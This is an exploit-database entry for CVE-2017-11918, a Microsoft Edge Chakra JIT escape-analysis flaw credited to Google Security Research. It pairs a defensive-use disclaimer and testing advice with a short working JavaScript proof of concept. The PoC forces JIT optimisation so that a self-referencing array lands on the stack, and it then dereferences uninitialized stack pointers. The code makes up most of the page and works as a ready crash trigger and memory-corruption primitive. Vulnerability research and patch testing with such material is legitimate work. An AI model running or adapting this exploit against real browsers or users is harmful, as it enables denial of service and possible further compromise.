Materialized exploit

CVE-2017-11918

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Edge Chakra JIT - Escape Analysis Bug

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code js

/*
Escape analysis: https://en.wikipedia.org/wiki/Escape_analysis

Chakra fails to detect if "tmp" escapes the scope, allocates it to the stack. This may lead to dereference uninitialized stack values.

PoC:
*/

function opt() {
    let tmp = [];
    tmp[0] = tmp;
    return tmp[0];
}

function main() {
    for (let i = 0; i < 0x1000; i++) {
        opt();
    }

    print(opt());  // deref uninitialized stack pointers!
}

main();